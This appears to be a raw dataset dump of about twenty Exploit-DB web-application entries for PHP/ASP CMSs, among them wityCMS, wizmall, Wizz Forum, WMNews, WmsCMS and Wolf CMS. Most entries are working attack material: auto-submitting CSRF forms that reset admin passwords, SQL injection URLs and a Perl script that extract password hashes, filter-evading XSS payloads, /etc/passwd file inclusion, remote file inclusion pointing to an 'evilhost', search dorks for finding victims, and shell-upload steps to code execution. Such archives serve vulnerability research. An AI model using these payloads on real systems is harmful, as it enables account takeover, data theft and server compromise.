deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44790
Description: wityCMS 0.6.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-05-28
Author: Nathu Nandwani

Exploit:
# Exploit Title: wityCMS 0.6.1 Persistent XSS on "Website's name" field
# Date: 05/28/2018
# Exploit Author: Nathu Nandwani
# Website: http://nandtech.co/
# Vendor Homepage: https://creatiwity.net/witycms
# Software Link: https://github.com/Creatiwity/wityCMS/releases/tag/0.6.1
# Version: 0.6.1
# Tested on: Windows 10 x64 (XAMPP, Chrome)
# CVE: CVE-2018-11512

*Description
 
A persistent/stored cross-site scripting (XSS) vulnerability in the "Website's name" field found in the "Settings" page under the "General" menu in Creatiwity wityCMS 0.6.1 allows remote attackers to inject arbitrary web script or HTML via a crafted website name by doing an authenticated POST HTTP request to admin/settings/general.
 
*Proof of Concept
 
1. Attacker logs in as an administrator of the site.
2. Attacker visits the Administrator page and clicks on the general options then settings menu. 
3. Attacker enters the script below in the "Website's name" field:
<scri<script>pt>alert(1)</scri</script>pt>
Note: The "script" tag is being filtered but not recursively so having the first tag stripped off will still execute the one being combined. 
3. Once the "Save" button is clicked, the payload will execute.
4. When an unauthenticated user visits the home page, the payload will also execute.
  
*Mitigation
 
See https://github.com/Creatiwity/wityCMS/commit/7967e5bf15b4d2ee6b85b56e82d7e1229147de44
 
Timeline
 
2018-05-27-Vulnerability reported to wityCMS development team
2018-05-27-CVE requested from mitre.org
2018-05-28-wityCMS development team acknowledges and will be pushing the fix for production on 0.6.2
2015-05-28-CVE published by mitre: https://twitter.com/CVEnew/status/[PII_REDACTED]29805831
Exploit-DB #45127
Description: WityCMS 0.6.2 - Cross-Site Request Forgery (Password Change)
Type: webapps
Platform: php
Date: 2018-08-02
Author: Porhai Eung

Exploit:
<!--
# Exploit Title: WityCMS 0.6.2 - Cross-Site Request Forgery (Password Change)
# Vendor Homepage: https://creatiwity.net/witycms
# Software Link: https://github.com/Creatiwity/wityCMS/releases/tag/0.6.2
# Exploit Author: Porhai Eung
# Website: http://www.chhaipov.com
# CVE: CVE-2018-14029
# Category: webapps


1. Description

CSRF vulnerability in admin/user/edit in Creatiwity wityCMS 0.6.2 allows an attacker to take over a user account by modifying user's data such as email and password

2. Exploit and Proof of Concept

To exploit this vulnerability, victim need to be logged in at target site namely victim.com and visit crafted site made by attacker namely attacker.com. Then an authenticated POST request will be generated from victim browser and it will be submit to victim.com to modify user's data to attacker desired value.

- POC hosted at attacker.com
-->

</div>
  <iframe id="test" name="test" style="display:none">
    </iframe>
    <form action="http://victim.com/wity/admin/user/edit/1" method="post" id="the_form" style="display:none" target="test">
        <input type="hidden" name="id" value="1"  />
        <input type="hidden" name="nickname" value="admin"  />
        <input type="hidden" name="password" value="csrf123"  />
        <input type="hidden" name="password_conf" value="csrf123"  />
        <input type="hidden" name="email" value="csrf@test.com"  />
        <input type="hidden" name="groupe" value="0"  />
        <input type="hidden" name="type" value="all"  />
        <input type="submit" value="Change Password"  />
    </form>
    <script type="text/javascript">
    //<![CDATA[
        var $form = document.getElementById ('the_form');
        $form.submit ();
    //]]>
    </script>
</div>

<!--
3. Solution

- Original password is needed in order to change new password of user
- Implement CSRF token
-->
Exploit-DB #14595
Description: wizmall 6.4 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-08-09
Author: pyw1414

Exploit:
# Exploit Title: wizmall 6.4 CSRF Vulnerabilities 
# Date: 08/10/2010
# Author: pyw1414 <i2SEC>
# Software Link: http://www.shop-wiz.com/board/main/view/root/wizmall01/159/0
# Version: 6.4 UTF-8 For php
# Tested on: XP SP3



-=[ CSRF Exploit - Change Admin ID/PW  ]=-

<html>
<head>
<title>Wizmall 6.4 UTF-8 For php CSRF Vulnerabilities - Change Admin Id/Password</title>
</head>

<body onload="document.csrf.submit();">
<form name="csrf" action="http://[domain]/malladmin/main.php" method="POST">
<!--- Edit these --->
<input type="hidden" name="ID" value="i2sec" />  
<input type="hidden" name="PASS" value="test1234" />  
<input type="hidden" name="PASS1" value="test1234" /> 

<!--- Do not edit below ---> 
<input type="hidden" name="menushow" value="menu1" />  
<input type="hidden" name="theme" value="basicconfig/basic_info2" />  
<input type="hidden" name="action" value="admin_save" />  
<input type="hidden" name="ADMIN_NAME" value="pyw1414" />
<input type="hidden" name="ADMIN_TITLE" value="i2Sec+Plaza" />  
<input type="hidden" name="ADMIN_TITLE_E" value="" />  
<input type="hidden" name="COMPANY_DOMAIN" value="" />
<input type="hidden" name="str_watermark" value="" />  
<input type="hidden" name="img_watermark" value="" />  
<input type="hidden" name="HOME_URL" value="" />  
<input type="hidden" name="ADMIN_EMAIL" value="ii@i2sec.co.kr" />  
<input type="hidden" name="ADMIN_TEL" value="" />
<input type="hidden" name="COMPANY_NAME" value="i2Sec" />  
<input type="hidden" name="PRESIDENT" value="" />  
<input type="hidden" name="COMPANY_NUM" value="" />  
<input type="hidden" name="COMPLICENCE_NUM" value="" />  
<input type="hidden" name="CUSTOMER_TEL" value="" />
<input type="hidden" name="CUSTOMER_FAX" value="" />  
<input type="hidden" name="COMPANY_ADD" value="" />  
<input type="hidden" name="COMPLICENCE_NUM" value="" />  
<input type="hidden" name="MART_BASEDIR" value="" />
<input type="hidden" name="SYSTEM_BASEDIR" value="" />  
<input type="hidden" name="smsModule" value="ANYSMS" />  
<input type="hidden" name="sms_id" value="" />  
<input type="hidden" name="sms_pwd" value="" />

</form>
</body>
</html>
Exploit-DB #26503
Description: Wizz Forum - 'ForumAuthDetails.php?AuthID' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-14
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/15410/info

Wizz Forum is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/ForumAuthDetails.php?AuthID=-4654'%20union%20select%20password,userid,password,userid,5,6,7,"http://www.example.com",lastlogin,lastlogin,lastlogin,[PII_REDACTED],8$
Exploit-DB #26504
Description: Wizz Forum - 'forumreply.php?TopicID' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-14
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/15410/info
 
Wizz Forum is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/ForumReply.php?TopicID=-10%20union%20select%201,userid,3,4,5,6,7%20from%20ForumUser%20where%20user_index=1

http://www.example.com/ForumReply.php?TopicID=-10%20union%20select%201,password,3,4,5,6,7%20from%20ForumUser%20where%20user_index=1
Exploit-DB #1322
Description: Wizz Forum 1.20 - 'TopicID' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-14
Author: HACKERS PAL

Exploit:
#!/bin/env perl
#//-----------------------------------------------------------#
#//        Wizz Forum SQL Injection Exploit .. By HACKERS PAL
#//                   Greets For Devil-00 - Abducter - Almaster
#//                          http://WwW.SoQoR.NeT
#//-----------------------------------------------------------#

use LWP::Simple;

print "\n#####################################################";
print "\n#        Wizz Forum Exploit By : HACKERS PAL        #";
print "\n#               Http://WwW.SoQoR.NeT                #";

if(!$ARGV[0] or !$ARGV[1]) {
print "\n# -- Usage:                                         #";
print "\n# -- perl $0 [Full-Path] [User ID]              #";
print "\n# -- Example:                                       #";
print "\n# -- perl $0 http://vubb.com/forum/1            #";
print "\n#     Greets To Devil-00 - Abducter - almastar      #";
print "\n#####################################################";
   exit(0);
}
else
{
print "\n#     Greets To Devil-00 - Abducter - almastar      #";
print "\n#####################################################";

       $web=$ARGV[0];
       $id=$ARGV[1];
$url = "ForumTopicDetails.php?TopicID=-10%20union%20select%20userid,password,password,userid,joindate,4444444,4444444%20from%20ForumUser%20where%20user_index=$id";
           $site="$web/$url";
$page = get($site) || die "[-] Unable to retrieve: $!";
print "\n[+] Connected to: $ARGV[0]\n";

print "[+] User ID is : $id ";
$page =~ m/<td width='100%' colspan='3'><font face='Arial' size='2'>(.*?)<\/font><\/td>/ && print "\n[+] User Name is: $1\n";
print "\n[-] Unable to retrieve User Name\n" if(!$1);
$page =~ m/<font face='Arial' size='4'>Topic: (.*?)<\/font>/ && print "[+] MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);

}

# Finished

# milw0rm.com [2005-11-14]
Exploit-DB #28519
Description: WM-News 0.5 - 'print.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: Daftrix Security

Exploit:
source: https://www.securityfocus.com/bid/19968/info

WM-News is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 0.5 is vulnerable; other versions may also be affected.

http://www.example.com/newscript/print/print.php?ide=../../../../etc/passwd%00
Exploit-DB #2326
Description: WM-News 0.5 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-09-07
Author: ddoshomo

Exploit:
# ERNE ---- ERNEALiZM ---- BU ASK BiTMEZ----

# WM-News v0.5 - Remote File Include Vulnerabilities

# site    : http://www.comscripts.com/jump.php?action=script&id=203

# Script  :  WM-News v0.5

# Credits : ERNE

# Contact : erne@ernealizm.com  and irc.gigachat.net #kurdhack

# Thanks  : BLaCKWHITE, B0tan, FearLesS, B3g0k, Liz0zim, EntRiKa, Dj_Remix, Di_Lejyoner

# Vulnerable :
    http://www.site.com/[path]/content/article.php?ide=[shell]
    http://www.site.com/[path]/content/delete.php?pwfile=[shell]
    http://www.site.com/[path]/content/modify.php?pwfile=[shell]
    http://www.site.com/[path]/content/admin.php?pwfile=[shell]
    http://www.site.com/[path]/content/modify_go.php?pwfile=[shell]


# milw0rm.com [2006-09-07]
Exploit-DB #33467
Description: WMNews - '/admin/wmnews.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-04
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/37600/info

WMNews is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/wmnews/admin/wmnews.php/>"><ScRiPt>alert[PII_REDACTED]60)</ScRiPt>
Exploit-DB #27416
Description: WMNews - 'footer.php?ctrrowcol' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-10
Author: R00T3RR0R

Exploit:
source: https://www.securityfocus.com/bid/17076/info
 
WMNews is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/path/footer.php?ctrrowcol="><script>alert(/R00T3RR0R/)</script>
Exploit-DB #27417
Description: WMNews - 'wmcomments.php?ArtID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-10
Author: R00T3RR0R

Exploit:
source: https://www.securityfocus.com/bid/17076/info
  
WMNews is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/path/wmcomments.php?act=vi&CmID=2&ArtID="><script>alert(/R00T3RR0R/)</script>
Exploit-DB #27415
Description: WMNews - 'wmview.php?ArtCat' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-10
Author: R00T3RR0R

Exploit:
source: https://www.securityfocus.com/bid/17076/info

WMNews is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/path/wmview.php?ArtCat="><script>alert(/R00T3RR0R/)</script>
Exploit-DB #2077
Description: WMNews 0.2a - 'base_datapath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-27
Author: uNfz

Exploit:
       Advisory: WMNews Remote File Include Vulnerability
 Release Date: 2006/07/26
         Author: uNfz
  Critical Level: High
        Contact: unfzbr@hotmail.com
         Vendor: Warta Mikael

--------------------
--------------------

Searching / Dork:

allinurl: *.php?Artid=*
allinurl: *.php?ArtCat=*
allinurl: wmprint.php
allinurl: wmview.php

--------------------

exploration:

/index.php?config=1&base_datapath=http://[evilhost]
/[dir]/index.php?config=1&base_datapath=http://[evilhost]

--------------------

uNfz
irc.efnet.org

# milw0rm.com [2006-07-27]
Exploit-DB #13739
Description: WmsCMS - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2010-06-06
Author: Ariko-Security

Exploit:
# Title: XSS, SQL injection vulnerability in WmsCMS
# EDB-ID: 
# CVE: ()
# OSVDB-ID: ()
# Author: Ariko-Security
# Published: 2010-06-05


============ { Ariko-Security - Advisory #1/6/2010 } =============

XSS, SQL injection vulnerability in WMSCMS

2007 Secunia Advisory SA25583 (only XSS 3 params)


Vendor's Description of Software:
# http://www.wmsdesign.net
Demo
# http://wmscms.com

Dork:
# n/a

Application Info:
# Name: WMSCMS
# ALL versions

Vulnerability Info:
# Type: XSS
# Type: SQL injection Vulnerability

Fix:
# N/A

Time Table:
# 10/05/2010 - Vendor notified.

Input passed via the "search","sbr","pid","sbl","FilePath" parameters to default.asp is not properly

sanitised before being used in a SQL query.

Input passed via the "sbr","pr","psPrice" parameters to printpage.asp is not properly

sanitised before being used in a SQL query.

 
Input passed to the "search","sbr","p","sbl" parameters in default.asp is not properly

sanitised before being returned to the user.

Solution:
# Input validation of all mentioned parameters should be corrected.

Vulnerability:
SQLi & BSQLi
# http://[site]/default.asp (Parameter search)
# http://[site]/default.asp (Parameter sbr)
# http://[site]/default.asp (Parameter pid)
# http://[site]/default.asp (Parameter sbl)
# http://[site]/default.asp (Parameter FilePath)
# http://[site]/printpage.asp (Parameter sbr)
# http://[site]/printpage.asp (Parameter pr)
# http://[site]/printpage.asp (Parameter psPrice)

xss
# http://[site]/default.asp (Parameter = search) 
# http://[site]/default.asp (Parameter = sbr)
# http://[site]/default.asp (Parameter = p)
# http://[site]/default.asp (Parameter = sbl)

Credit:
# Discoverd By: MG / Ariko-Security 2010
# http://secunia.com/advisories/25583/ (XSS 3 params)

Advisory:
# http://www.ariko-security.com/june2010/audyt_bezpieczenstwa_692.html


Ariko-Security
support@ariko-security.com
tel.: [PII_REDACTED]2 (Mo-Fr 10.00-20.00 CET)
Exploit-DB #30162
Description: WMSCMS 2.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-06-07
Author: Glafkos Charalambous

Exploit:
source: https://www.securityfocus.com/bid/24365/info

WmsCMS is prone to multiple cross-site scripting vulnerabilities because it fails to adequately sanitize user-supplied input data before rendering it in a user's browser.

Attackers could exploit these issues to steal cookie-based authentication credentials from legitimate users of the site; other attacks are also possible.

WmsCMS 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/4print.asp?p=60&sbl=>">[XSS]
http://www.example.com/4print.asp?p=60&sbr=>">[XSS]
Exploit-DB #38000
Description: Wolf CMS - Arbitrary File Upload / Execution
Type: webapps
Platform: php
Date: 2015-08-28
Author: Narendra Bhati

Exploit:
# Exploit Title    : Wolf CMS 0.8.2  Arbitrary File Upload To Command
Execution
# Reported Date    : 05-May-2015
# Fixed Date       : 10-August-2015
# Exploit Author   : Narendra Bhati
# CVE ID           : CVE-2015-6567 , CVE-2015-6568
# Contact:
* Facebook         : https://facebook.com/narendradewsoft
*Twitter           : http://twitter.com/NarendraBhatiB
# Website          : http://websecgeeks.com
# Additional Links -
* https://github.com/wolfcms/wolfcms/releases/
* https://www.wolfcms.org/blog/2015/08/10/releasing-wolf-cms-0-8-3-1.html

#For POC -
http://websecgeeks.com/wolf-cms-arbitrary-file-upload-to-command-execution/

1. Description

Every registered users who have access of upload functionality can upload
an Arbitrary File Upload To perform Command Execution

Vulnerable URL

http://targetsite.com/wolfcms/?/admin/plugin/file_manager/browse/

Vulnerable Parameter

"filename"


2. Proof of Concept

A)Login as regular user ( who have access upload functionality )

B)Go to this page  -
http://targetsite.com/wolfcms/?/admin/plugin/file_manager/browse/

C)Select upload an file option to upload Arbitary File ( filename ex:
"hello.php" )

D)Now you can access the file by here -
http://targetsite.com/wolfcms/public/hello.php


3. Solution:

Update to version 0.8.3.1
http://www.wolfcms.org/download.html

=============

-- 
*Narendra Bhati "CEH" **( Facebook
<http://www.facebook.com/narendradewsoft> , Twitter
<http://www.twitter.com/NarendraBhatiB> , LinkedIn
<https://www.linkedin.com/profile/view?id=115146074> , Personal Blog )*
*Security Analyst - IT Risk & Security Management Services*
Suma Soft Pvt. Ltd. | Suma Center | Near Mangeshkar Hospital | Erandawane
Pune: 411004 |

*======================================================================*
Exploit-DB #51421
Description: Wolf CMS 0.8.3.1 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2023-05-05
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Wolf CMS 0.8.3.1 - Remote Code Execution (RCE)
# Date: 2023-05-02
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://wolf-cms.readthedocs.io
# Software Link: https://github.com/wolfcms/wolfcms
# Version: 0.8.3.1
# Tested on: Kali Linux

### Steps to Reproduce ###

# Firstly, go to the "Files" tab.
# Click on the "Create new file" button and create a php file (e.g:
shell.php)
# Then, click on the file you created to edit it.
# Now, enter your shell code and save the file.
# Finally, go to https://localhost/wolfcms/public/shell.php

### There's your shell! ###
Exploit-DB #44418
Description: WolfCMS 0.8.3.1 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2018-04-09
Author: Sureshbabu Narvaneni

Exploit:
#######################################
# Exploit Title: WolfCMS 0.8.3.1 Cross Site Request Forgery
# Google Dork: N/A
# Date: 04-04-2018
#######################################
# Exploit Author: Sureshbabu Narvaneni#
#######################################
# Author Blog : http://nullnews.in
# Vendor Homepage: http://www.wolfcms.org
# Software Link:

# Affected Version: 0.8.3.1
# Category: WebApps
# Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686
# CVE : CVE-2018-8814
#
# 1. Vendor Description:
#
# Light-weight, fast, simple and powerful CMS. PHP-based, easily extended
CMS. Uses MySQL, SQLite or (from 0.7)
# PostgreSQL for db. Simple drag & drop page hierarchy. Open source,
licensed under GPLv3.
#
# 2. Technical Description:
#
# Cross-site request forgery (CSRF) vulnerability in WolfCMS before 0.8.3.1
allows remote attackers to hijack the
# authentication of users for requests that modify
plugin/[pluginname]/settings and can uninstall plugins by sending
# malicious request.
#
# 3. Proof Of Concept:
#
# Send below request to logged in user to change the plugin settings.
#
#<html>
#  <body>
#    <form action="http://[URL]/wolf/wolfcms/?/admin/plugin/archive/save"
method="POST">
#      <input type="hidden" name="settings&#91;use&#95;dates&#93;"
value="1" />
#      <input type="hidden" name="commit" value="Save" />
#      <input type="submit" value="Submit request" />
#    </form>
#     <script>
#      document.forms[0].submit();
#            </script>
# </body>
#</html>
#
# Share the below URL to uninstall any plugin remotely.
#
# http://[url]/wolfcms/?/admin/setting/uninstall_plugin/[pluginname]
#
#
# 4. Solution:
#
# Upgrade to latest release.
# http://www.wolfcms.org/blog.html
#
# 5. Reference:
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8814
# https://github.com/wolfcms/wolfcms/issues/671
#####################################